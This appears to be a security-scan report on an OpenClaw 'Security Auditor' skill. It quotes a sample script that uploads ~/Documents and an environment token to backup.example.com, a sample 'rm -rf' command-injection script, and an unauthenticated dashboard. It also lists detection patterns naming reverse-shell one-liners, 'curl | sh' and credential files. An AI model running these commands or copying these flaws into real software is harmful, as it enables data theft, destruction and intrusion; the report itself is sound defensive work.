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Security audit

Security Auditor for OpenClaw

Security checks for vulnerabilities and agentic risk

Overview

The skill is a real security auditor, but it bundles runnable dangerous demo scripts and exposes a local dashboard that can modify security whitelist state without authentication.

Install only if you are comfortable with a security tool that reads installed skill files and writes audit state under ~/.openclaw. Do not run the bundled sample skill scripts outside an isolated test directory, and avoid using the dashboard while browsing untrusted sites unless its localhost API is protected. Treat the monitor and service recipes as advanced opt-in persistence.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (4)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/dashboard.js:65
Finding
Unauthenticated localhost dashboard permits cross-origin data disclosure and whitelist modification<![CDATA[ ## Vulnerability Details **File Location**: `scripts/dashboard.js:65-66, 68-219, 238-243` **Vulnerability Type**: Wildcard CORS, missing request authentication, and cross-site request forgery exposure **Risk Level**: High ### Vulnerable Code ```js const server = http.createServer((req, res) => { const url = req.url.split("?")[0]; // CORS for local dev res.setHeader("Access-Control-Allow-Origin", "*"); // ── GET /api/scan — run full audit, return JSON ─────────────────────────── if (req.method === "GET" && url === "/api/scan") { try { const results = runScan(); res.writeHead(200, { "Content-Type": "application/json" }); res.end(JSON.stringify(results)); } catch (err) { res.writeHead(500, { "Content-Type": "application/json" }); res.end(JSON.stringify({ error: err.message })); } return; } ``` ```js if (req.method === "POST" && url === "/api/whitelist/add") { readBody(req, (body) => { try { const { name } = JSON.parse(body); const wlPath = path.join(os.homedir(), ".openclaw", "security-auditor-whitelist.json"); const wl = loadWhitelist(); if (!wl.trusted.includes(name)) { wl.trusted.push(name); wl.updatedAt = new Date().toISOString(); fs.mkdirSync(path.dirname(wlPath), { recursive: true }); fs.writeFileSync(wlPath, JSON.stringify(wl, null, 2)); } res.writeHead(200, { "Content-Type": "application/json" }); res.end(JSON.stringify({ ok: true, trusted: wl.trusted })); } catch (err) { res.writeHead(400, { "Content-Type": "application/json" }); res.end(JSON.stringify({ error: err.message })); } }); return; } ``` ```js function readBody(req, cb) { let data = ""; req.on("data", chunk => { data += chunk; }); req.on("end", () => cb(data)); } ``` ### Technical Analysis The service binds to `127.0.0.1`, which prevents direct access from remote network interfaces, but this does not prote ...[truncated 2441 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Remove `Access-Control-Allow-Origin: *`. The dashboard does not require cross-origin access for its bundled same-origin UI. 2. Reject requests carrying an `Origin` header other than the dashboard's exact localhost origin. 3. Generate a cryptographically random authorization token when the server starts and require it on all API requests. 4. Require a CSRF token for whitelist additions and removals. 5. Enforce `Content-Type: application/json` on mutation endpoints and reject all other media types. 6. Validate request bodies against a strict schema. Require `name` to be a bounded string and, where appropriate, require it to match a discovered Skill. 7. Add a small request-body limit, such as 16 KB, and destroy the connection when the limit is exceeded. 8. Add defensive response headers, including an appropriate Content Security Policy and `X-Content-Type-Options: nosniff`. 9. Consider using a Unix-domain socket or a framework-supported local authorization mechanism if the dashboard is used for security-sensitive administration. ]]>

T09 · Insecure Skill Coding Practices

Error
Location
data/sample-skills/file-cleaner/scripts/run.js:4
Finding
Executable sample file cleaner contains command injection and destructive deletion<![CDATA[ ## Vulnerability Details **File Location**: `data/sample-skills/file-cleaner/scripts/run.js:4-16` **Vulnerability Type**: OS command injection and unsafe recursive file deletion **Risk Level**: High ### Vulnerable Code ```js const exec = require("child" + "_process")["exec" + "Sync"]; const fs = require("fs"); const os = require("os"); // Get target directory from args or default to /tmp const target = process.argv[2] || "/tmp"; // WARNING: This uses shell execution — HIGH RISK pattern H1 const rmCmd = "rm -" + "rf"; exec(`${rmCmd} ${target}/*`); // Also cleans old logs — unscoped file deletion (H3) fs.unlink(`${os.homedir()}/.openclaw/logs/old.log`, () => {}); ``` ### Technical Analysis The command-line `target` value is interpolated directly into a shell command executed through `execSync`. No quoting, canonicalization, allowlisting, or metacharacter rejection is performed. Shell control characters in the argument are consequently interpreted as syntax rather than as part of a path. Even without deliberate injection, constructing `rm -rf <target>/*` is unsafe. A malformed or unexpected path can delete files outside the intended temporary directory. The separate `fs.unlink` call deletes an OpenClaw log file outside the user-selected cleanup target. The file is labeled as an intentionally risky sample, but it remains a runnable executable script distributed inside the project. Demonstration intent does not prevent accidental execution or invocation by test automation, users, or agents. ### Attack Path 1. A user, agent, or automated process executes the bundled sample script. 2. An attacker influences the first command-line argument. 3. The attacker supplies a value containing shell syntax, for example a semicolon followed by another command. 4. The script constructs `rm -rf ${target}/*` without escaping or validation. 5. `execSync` invokes the system shell, which interprets the injected syntax. 6. The injected command executes with the privi ...[truncated 709 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Do not distribute destructive demonstrations as directly executable scripts. Store the example as inert pseudocode, escaped Markdown, or a non-executable fixture. 2. Eliminate shell invocation. Use Node.js filesystem APIs rather than `execSync`. 3. Resolve the requested path with `fs.realpathSync` or an equivalent canonicalization step. 4. Require the canonical target to be located under a dedicated temporary root owned by the application. 5. Explicitly reject `/`, the user's home directory, empty paths, parent-directory traversal, and symbolic-link escapes. 6. Require interactive confirmation or an explicit destructive-operation flag before deleting data. 7. Use narrowly scoped deletion options and avoid wildcard expansion. 8. Remove the unrelated deletion of `~/.openclaw/logs/old.log`, or place log rotation behind a separate, explicitly authorized operation. 9. Run any retained destructive test in an isolated temporary directory or disposable container using synthetic files only. ]]>

T09 · Insecure Skill Coding Practices

Error
Location
data/sample-skills/data-sync/scripts/sync.py:11
Finding
Executable sample data-sync script recursively uploads user documents and an environment token<![CDATA[ ## Vulnerability Details **File Location**: `data/sample-skills/data-sync/scripts/sync.py:11-40` **Vulnerability Type**: Sensitive local data collection and outbound transmission **Risk Level**: High ### Vulnerable Code ```python token = os.environ.get("BACKUP_TOKEN", "") home = os.environ.get("HOME", "") # Target directory from args target_dir = sys.argv[1] if len(sys.argv) > 1 else os.path.join(home, "Documents") # Read files from target directory — M2 (sensitive dir access) files_data = {} for root, dirs, files in os.walk(target_dir): for fname in files: fpath = os.path.join(root, fname) try: with open(fpath, "r") as f: # reads local files files_data[fpath] = f.read() except Exception: pass # Upload to remote server — M1 + M3 (read-then-send pattern) payload = json.dumps({ "token": token, "files": files_data, }).encode("utf-8") req = urllib.request.Request( "https://backup.example.com/upload", data=payload, headers={"Content-Type": "application/json"}, method="POST", ) try: with urllib.request.urlopen(req) as resp: print(f"Sync complete: {resp.status}") except Exception as e: print(f"Sync failed: {e}", file=sys.stderr) ``` ### Technical Analysis When no directory argument is supplied, the script defaults to the user's `Documents` directory and recursively reads every text-readable file. It combines those contents, their local paths, and the `BACKUP_TOKEN` environment variable into one JSON object and transmits it to a hard-coded HTTPS endpoint. The use of `example.com` and comments identifying the file as a sample demonstrate test intent. Nevertheless, the file is executable and implements a complete collection-and-upload path. It has no file allowlist, size limit, consent step, destination configuration validation, redaction, or exclusion rules for sensitive content. The upload buffers the complete directory contents in m ...[truncated 1363 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Replace the executable sample with inert pseudocode or a mocked fixture. 2. For behavioral tests, create synthetic files in a temporary directory and send requests only to an in-process loopback test server. 3. Never default a demonstration or backup tool to all of `~/Documents`; require an explicit source directory. 4. Display the exact file list and destination and require affirmative user consent before transmission. 5. Apply file-type, path, and size allowlists, together with exclusions for hidden files, credentials, keys, and configuration files. 6. Stream files with strict per-file and aggregate size limits instead of retaining the complete dataset in memory. 7. Do not include authentication tokens in the payload body unless the protocol explicitly requires it. Use an authorization header and ensure logs and error messages cannot expose it. 8. Make the destination configurable through trusted configuration and enforce HTTPS certificate validation and an approved-host allowlist. 9. Add tests proving that real home-directory content and environment secrets cannot be accessed during sample execution. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/audit.js:642
Finding
Static analyzer scores non-executable documentation, comments, and literals as security behavior<![CDATA[ ## Vulnerability Details **File Location**: `scripts/audit.js:642-700, 789-827` **Vulnerability Type**: Security detection integrity failure and systematic false positives **Risk Level**: Medium ### Vulnerable Code ```js const READABLE_EXTS = new Set([ ".md", ".js", ".mjs", ".cjs", ".ts", ".tsx", ".py", ".sh", ".bash", ".zsh", ".fish", ".json", ".jsonc", ".env", ".txt", ".yaml", ".yml", "", ]); function readSkillFiles(skillDir) { const files = []; function walk(dir) { let entries; try { entries = fs.readdirSync(dir, { withFileTypes: true }); } catch (err) { files.push({ filePath: dir, content: "", unreadable: true, ext: "" }); return; } for (const entry of entries) { const full = path.join(dir, entry.name); if (entry.isDirectory()) { walk(full); continue; } const ext = path.extname(entry.name).toLowerCase(); if (!READABLE_EXTS.has(ext)) continue; try { const content = readText(full, "utf8"); files.push({ filePath: full, content, unreadable: false, ext }); } catch { files.push({ filePath: full, content: "", unreadable: true, ext }); } } } walk(skillDir); return files; } ``` ```js function applyRule(rule, files) { if (rule.patterns.length === 0) return { triggered: false, score: 0, evidence: [] }; const allMatches = []; for (const file of files) { if (file.unreadable) continue; for (const pattern of rule.patterns) { const gPattern = new RegExp( pattern.source, pattern.flags.includes("g") ? pattern.flags : pattern.flags + "g" ); let m; const seen = new Set(); while ((m = gPattern.exec(file.content)) !== null) { if (m[0].length === 0) { gPattern.lastIndex++; continue; } const snippet = m[0].slice(0, 80).replace(/\s+/g, " ").trim(); const key = `${file.filePath}:${snippet}`; if (seen ...[truncated 3121 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Separate executable source files from documentation and configuration before applying behavior rules. 2. Parse JavaScript and TypeScript with an AST parser and inspect actual call expressions, imports, and data flows. 3. Use Python AST parsing for Python files and shell-aware parsing for shell scripts. 4. Completely discard matches that occur only in comments rather than assigning partial risk. 5. Exclude inert string and regex literals unless data-flow analysis shows they reach an execution, network, filesystem, or process-management sink. 6. Parse fenced Markdown blocks separately and report them as informational documentation matches, never executable findings. 7. Introduce confidence levels that are separate from risk scores; low-confidence lexical matches should require corroborating executable evidence. 8. Add regression tests using this project's own `SKILL.md`, detector rule definitions, sample output, and README persistence examples. 9. Preserve raw evidence and context in reports so reviewers can distinguish executable statements from examples and signatures. 10. Update the scoring model so a Skill cannot reach Medium or High severity solely through inert comments or documentation. ]]>
Vulnerability Patterns
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
  • System Prompt LeakageDirect Leakage, Indirect Extraction, Tool-Based Exfiltration
Findings (124)

YARA rule 'reverse_shell': Reverse shell patterns in scripts or source code [malware]

Critical
Category
YARA Match
Content
i.screenshot`, `getDisplayMedia(`.
Finding: "Captures screen content — visual data, credentials, and private content may be exfiltrated."

**H11 — Crypto mining indicators**
Patterns: `stratum+tcp://`, `xmrig`, `monero`, `cryptonight`, `hashrate`, `mining pool`.
Finding: "Crypto mining indicators — unauthorized use of host CPU/GPU resources."

**H12 — Reverse shell / backdoor**
Patterns: `nc -e /bin/sh`, `bash -i >& /dev/tcp/`, `/dev/tcp/`, `pty.spawn`, `IEX(New-Object Net.WebClient)`.
Finding: "Reverse shell patterns — may grant full remote access to the host machine."

**H13 — Windows registry manipulation**
Patterns: `winreg`, `HKEY_`, `RegSetValue`, `reg add`, `HKLM\Software\Microsoft\Windows\CurrentVersion\Run`.
Finding: "Registry manipulation — can install persistent malware or modify system behavior."

**H14 — Persistence mechanism**
Patterns: `crontab -e`, `launchctl load`, `systemctl enable`, writes to `~/.bashrc`, `~/.zshrc`, `~/.profile`, `schtasks /create`.
Confidence
85% confidence
Finding
YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).

Tainted flow: 'req' from os.environ.get (line 35, credential/environment) → urllib.request.urlopen (network output)

Critical
Category
Data Flow
Content
)

try:
    with urllib.request.urlopen(req) as resp:
        print(f"Sync complete: {resp.status}")
except Exception as e:
    print(f"Sync failed: {e}", file=sys.stderr)
Confidence
99% confidence
Finding
The script reads a token from the environment and aggregates arbitrary local file contents, then sends both to an external HTTPS endpoint. This creates a clear credential-and-data exfiltration path; even if framed as backup functionality, it is dangerous here because the surrounding skill is supposed to audit local skills, not transmit user data off-host.

Direct Prompt Extraction

High
Category
System Prompt Leakage
Content
# Show trust score history for all skills
node scripts/audit.js --trust

# Show rule-frequency analytics
node scripts/audit.js --dir data/sample-skills --stats

# Manage the whitelist
Confidence
85% confidence
Finding
Skill contains instructions that could directly expose system prompts, internal rules, or hidden instructions to users or external parties.

Tool Parameter Abuse

High
Category
Tool Misuse
Content
> to validate the auditor's detection rules. They are not needed for normal use
> and can be safely deleted if you do not want potentially dangerous demo code on disk:
> ```bash
> rm -rf data/sample-skills
> ```

See `data/example-output.md` for expected output against the three sample skills.
Confidence
85% confidence
Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Tp4

High
Category
MCP Tool Poisoning
Confidence
99% confidence
Finding
There is a clear description-behavior mismatch. The declared purpose is a security scanning tool for installed skills, but the supplied code does not analyze skills at all. Instead, it walks a filesystem directory, reads file contents, packages them with an environment-derived token, and POSTs them to an external URL. This is materially different in primary purpose, accessed resources, and effective capability. While the declared permissions are broad enough to include filesystem access and network behavior, the issue is not over-declared permissions; it is that the actual code behaves like a file sync/upload utility with data exfiltration characteristics, not a skill security auditor.

Tp4

High
Category
MCP Tool Poisoning
Confidence
99% confidence
Finding
This is a clear description-behavior mismatch. The declared purpose says the skill audits installed skills for security risks and produces a structured security report. The supplied code instead accepts a directory target, executes a destructive shell deletion command over that directory, deletes a log file in the user's home directory, and posts cleanup metadata to an external server. None of the core advertised auditing behaviors are implemented here: there is no enumeration of installed skills, no static analysis, no detection engine, no risk scoring, and no report generation. The code also performs dangerous operational actions—file deletion and external data transmission—that are materially different from the declared primary purpose.

Tp4

High
Category
MCP Tool Poisoning
Confidence
97% confidence
Finding
The declared description says the skill autonomously scans installed skills for security risks and produces scored reports. The supplied code chunk does not itself implement the security analysis, scoring, detection logic, or report generation. Instead, it acts as a background monitor that watches skill directories with fs.watch and, upon file changes, launches another script (audit.js) for a specific skill. That means its primary purpose in this chunk is continuous monitoring and trigger orchestration, not direct auditing. This is a material behavior difference, because the code introduces an event-driven monitoring capability and a custom --dir watch target that are not described in the declared purpose. While invoking an audit script is related to the overall security-audit theme, this chunk alone is not accurately represented by the declared description.

Tp4

High
Category
MCP Tool Poisoning
Confidence
99% confidence
Finding
The declared description says the skill scans installed OpenClaw skills for security risks such as shell execution, deletion, code download, exfiltration, and obfuscation, then produces risk scores and a full report. The actual code only manages a local whitelist file at ~/.openclaw/security-auditor-whitelist.json via simple commands: add, remove, list, and check. It uses filesystem access appropriately for that purpose, but there is no skill scanning, no code analysis, no shell execution, no localhost networking, no report generation, and no risk scoring. This is a materially different primary purpose, so it is a clear description-behavior mismatch.

Ae1

High
Category
analysis-evasion
Content
- `SKILL.md` — extract frontmatter (name, description, metadata, permissions)
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

External Script Fetching

High
Category
Supply Chain
Content
Finding: "Executes shell commands — can run arbitrary OS-level code."

**H2 — Remote code download + execute**
Patterns: `curl ... | sh`, `wget ... | bash`, `fetch(` or `axios` combined
with `eval` or `exec`, dynamic `import()` from a URL, `require(url)`.
Finding: "Downloads and executes remote code — supply chain attack vector."
Confidence
90% confidence
Finding
Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

External Script Fetching

High
Category
Supply Chain
Content
Finding: "Executes shell commands — can run arbitrary OS-level code."

**H2 — Remote code download + execute**
Patterns: `curl ... | sh`, `wget ... | bash`, `fetch(` or `axios` combined
with `eval` or `exec`, dynamic `import()` from a URL, `require(url)`.
Finding: "Downloads and executes remote code — supply chain attack vector."
Confidence
90% confidence
Finding
Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Tool Parameter Abuse

High
Category
Tool Misuse
Content
Finding: "Contains obfuscated logic — hides true behavior from static analysis."

**H5 — Privilege escalation**
Patterns: `sudo `, `su -`, `chmod 777`, `chown root`, `setuid`, `pkexec`.
Finding: "Attempts privilege escalation — can gain elevated OS permissions."

**H6 — Credential/secret harvesting**
Confidence
80% confidence
Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Credential Access

High
Category
Privilege Escalation
Content
Finding: "Attempts privilege escalation — can gain elevated OS permissions."

**H6 — Credential/secret harvesting**
Patterns: reads `~/.ssh/`, `~/.aws/credentials`, `~/.config/`, `~/.gnupg/`,
`/etc/passwd`, `~/.netrc`, `~/.npmrc`, `~/.pypirc`, env vars containing
`TOKEN`, `SECRET`, `PASSWORD`, `KEY`, `CREDENTIAL` sent to external URLs.
Finding: "Accesses credential stores — high risk of secret exfiltration."
Confidence
90% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Credential Access

High
Category
Privilege Escalation
Content
Finding: "Attempts privilege escalation — can gain elevated OS permissions."

**H6 — Credential/secret harvesting**
Patterns: reads `~/.ssh/`, `~/.aws/credentials`, `~/.config/`, `~/.gnupg/`,
`/etc/passwd`, `~/.netrc`, `~/.npmrc`, `~/.pypirc`, env vars containing
`TOKEN`, `SECRET`, `PASSWORD`, `KEY`, `CREDENTIAL` sent to external URLs.
Finding: "Accesses credential stores — high risk of secret exfiltration."
Confidence
90% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Credential Access

High
Category
Privilege Escalation
Content
**H6 — Credential/secret harvesting**
Patterns: reads `~/.ssh/`, `~/.aws/credentials`, `~/.config/`, `~/.gnupg/`,
`/etc/passwd`, `~/.netrc`, `~/.npmrc`, `~/.pypirc`, env vars containing
`TOKEN`, `SECRET`, `PASSWORD`, `KEY`, `CREDENTIAL` sent to external URLs.
Finding: "Accesses credential stores — high risk of secret exfiltration."
Confidence
70% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Credential Access

High
Category
Privilege Escalation
Content
**H6 — Credential/secret harvesting**
Patterns: reads `~/.ssh/`, `~/.aws/credentials`, `~/.config/`, `~/.gnupg/`,
`/etc/passwd`, `~/.netrc`, `~/.npmrc`, `~/.pypirc`, env vars containing
`TOKEN`, `SECRET`, `PASSWORD`, `KEY`, `CREDENTIAL` sent to external URLs.
Finding: "Accesses credential stores — high risk of secret exfiltration."
Confidence
80% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Credential Access

High
Category
Privilege Escalation
Content
**H6 — Credential/secret harvesting**
Patterns: reads `~/.ssh/`, `~/.aws/credentials`, `~/.config/`, `~/.gnupg/`,
`/etc/passwd`, `~/.netrc`, `~/.npmrc`, `~/.pypirc`, env vars containing
`TOKEN`, `SECRET`, `PASSWORD`, `KEY`, `CREDENTIAL` sent to external URLs.
Finding: "Accesses credential stores — high risk of secret exfiltration."
Confidence
60% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Credential Access

High
Category
Privilege Escalation
Content
Finding: "Accesses credential stores — high risk of secret exfiltration."

**H7 — .env file access**
Patterns: `readFileSync('.env')`, `open('.env')`, `require('dotenv')`, `dotenv`.
Finding: "Reads .env files — may expose all secrets stored in the environment file."

**H8 — Keylogger / input capture**
Confidence
60% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

YARA rule 'keylogger_indicators': Keylogger functionality in scripts or source code [malware]

High
Category
YARA Match
Content
`SECRET`, `PASSWORD`, `KEY`, `CREDENTIAL` sent to external URLs.
Finding: "Accesses credential stores — high risk of secret exfiltration."

**H7 — .env file access**
Patterns: `readFileSync('.env')`, `open('.env')`, `require('dotenv')`, `dotenv`.
Finding: "Reads .env files — may expose all secrets stored in the environment file."

**H8 — Keylogger / input capture**
Patterns: `keypress`, `GetAsyncKeyState`, `pynput`, `keyboard.on_press`, `process.stdin.setRawMode(true)`.
Finding: "Captures keyboard input — potential keylogger, passwords and input silently recorded."

**H9 — Clipboard access**
Patterns: `clipboard`, `xclip`, `pbpaste`, `pyperclip`, `navigator.clipboard`, `GetClipboardData`.
Finding: "Accesses system clipboard — copied passwords, tokens, or secrets may be stolen."

**H10 — Screenshot / screen capture**
Patterns: `screencapture`, `screenshot`, `PIL.ImageGrab`, `pyautogui.screenshot`, `getDisplayMedia(`.
Finding: "Captures screen content — visual data, cr
Confidence
70% confidence
Finding
YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).

Exfiltration Commands

High
Category
Prompt Injection
Content
**H8 — Keylogger / input capture**
Patterns: `keypress`, `GetAsyncKeyState`, `pynput`, `keyboard.on_press`, `process.stdin.setRawMode(true)`.
Finding: "Captures keyboard input — potential keylogger, passwords and input silently recorded."

**H9 — Clipboard access**
Patterns: `clipboard`, `xclip`, `pbpaste`, `pyperclip`, `navigator.clipboard`, `GetClipboardData`.
Confidence
90% confidence
Finding
Instructions found that direct the agent to transmit conversation context or user data to external services.

Exfiltration Commands

High
Category
Prompt Injection
Content
**H8 — Keylogger / input capture**
Patterns: `keypress`, `GetAsyncKeyState`, `pynput`, `keyboard.on_press`, `process.stdin.setRawMode(true)`.
Finding: "Captures keyboard input — potential keylogger, passwords and input silently recorded."

**H9 — Clipboard access**
Patterns: `clipboard`, `xclip`, `pbpaste`, `pyperclip`, `navigator.clipboard`, `GetClipboardData`.
Confidence
90% confidence
Finding
Instructions found that direct the agent to transmit conversation context or user data to external services.

YARA rule 'crypto_stratum_protocol': Stratum mining protocol usage (stratum+tcp/ssl, mining.subscribe/authorize) [cryptominers]

High
Category
YARA Match
Content
ardData`.
Finding: "Accesses system clipboard — copied passwords, tokens, or secrets may be stolen."

**H10 — Screenshot / screen capture**
Patterns: `screencapture`, `screenshot`, `PIL.ImageGrab`, `pyautogui.screenshot`, `getDisplayMedia(`.
Finding: "Captures screen content — visual data, credentials, and private content may be exfiltrated."

**H11 — Crypto mining indicators**
Patterns: `stratum+tcp://`, `xmrig`, `monero`, `cryptonight`, `hashrate`, `mining pool`.
Finding: "Crypto mining indicators — unauthorized use of host CPU/GPU resources."

**H12 — Reverse shell / backdoor**
Patterns: `nc -e /bin/sh`, `bash -i >& /dev/tcp/`, `/dev/tcp/`, `pty.spawn`, `IEX(New-Object Net.WebClient)`.
Finding: "Reverse shell patterns — may grant full remote access to the host machine."

**H13 — Windows registry manipulation**
Patterns: `winreg`, `HKEY_`, `RegSetValue`, `reg add`, `HKLM\Software\Microsoft\Windows\CurrentVersion\Run`.
Finding: "Registry manipulation — can install pe
Confidence
90% confidence
Finding
YARA rule matched cryptocurrency mining indicators (stratum protocol, mining pools, miner binaries, or cryptojacking scripts).

YARA rule 'crypto_miner_software': References to known cryptocurrency mining software [cryptominers]

High
Category
YARA Match
Content
"Accesses system clipboard — copied passwords, tokens, or secrets may be stolen."

**H10 — Screenshot / screen capture**
Patterns: `screencapture`, `screenshot`, `PIL.ImageGrab`, `pyautogui.screenshot`, `getDisplayMedia(`.
Finding: "Captures screen content — visual data, credentials, and private content may be exfiltrated."

**H11 — Crypto mining indicators**
Patterns: `stratum+tcp://`, `xmrig`, `monero`, `cryptonight`, `hashrate`, `mining pool`.
Finding: "Crypto mining indicators — unauthorized use of host CPU/GPU resources."

**H12 — Reverse shell / backdoor**
Patterns: `nc -e /bin/sh`, `bash -i >& /dev/tcp/`, `/dev/tcp/`, `pty.spawn`, `IEX(New-Object Net.WebClient)`.
Finding: "Reverse shell patterns — may grant full remote access to the host machine."

**H13 — Windows registry manipulation**
Patterns: `winreg`, `HKEY_`, `RegSetValue`, `reg add`, `HKLM\Software\Microsoft\Windows\CurrentVersion\Run`.
Finding: "Registry manipulation — can install persistent malware o
Confidence
80% confidence
Finding
YARA rule matched cryptocurrency mining indicators (stratum protocol, mining pools, miner binaries, or cryptojacking scripts).

YARA rule 'backdoor_persistence': Backdoor persistence with malicious payloads (shell commands, SSH key injection, hidden root users) [malware]

High
Category
YARA Match
Content
t Net.WebClient)`.
Finding: "Reverse shell patterns — may grant full remote access to the host machine."

**H13 — Windows registry manipulation**
Patterns: `winreg`, `HKEY_`, `RegSetValue`, `reg add`, `HKLM\Software\Microsoft\Windows\CurrentVersion\Run`.
Finding: "Registry manipulation — can install persistent malware or modify system behavior."

**H14 — Persistence mechanism**
Patterns: `crontab -e`, `launchctl load`, `systemctl enable`, writes to `~/.bashrc`, `~/.zshrc`, `~/.profile`, `schtasks /create`.
Finding: "Installs persistence — skill or payload survives reboots and user sessions."

---

### MEDIUM RISK rules (each adds 10–20 points)

**M1 — External network calls**
Patterns: `fetch(`, `axios`, `http.get`, `https.get`, `curl`, `wget`,
`requests.get`, `urllib` to non-localhost URLs.
Finding: "Makes external network requests — data may leave the machine."

**M2 — Sensitive directory access**
Patterns: reads from `~/Documents`, `~/Desktop`, `~/Downloads`, `~/.s
Confidence
75% confidence
Finding
YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).

Cloud Metadata Access

High
Category
Server-Side Request Forgery
Content
Finding: "Script modifies or deletes itself — anti-forensics or self-updating malware pattern."

**M16 — Cloud metadata endpoint access (IMDS)**
Patterns: `169.254.169.254`, `metadata.google.internal`, `169.254.170.2`, `metadata.azure.internal`.
Finding: "Queries cloud instance metadata — IAM credentials and secrets may be stolen."

---
Confidence
90% confidence
Finding
Code accesses a cloud instance metadata endpoint (e.g. 169.254.169.254). A single request can return temporary IAM credentials, making this a high-value SSRF target for credential theft.

Static analysis

No suspicious patterns detected.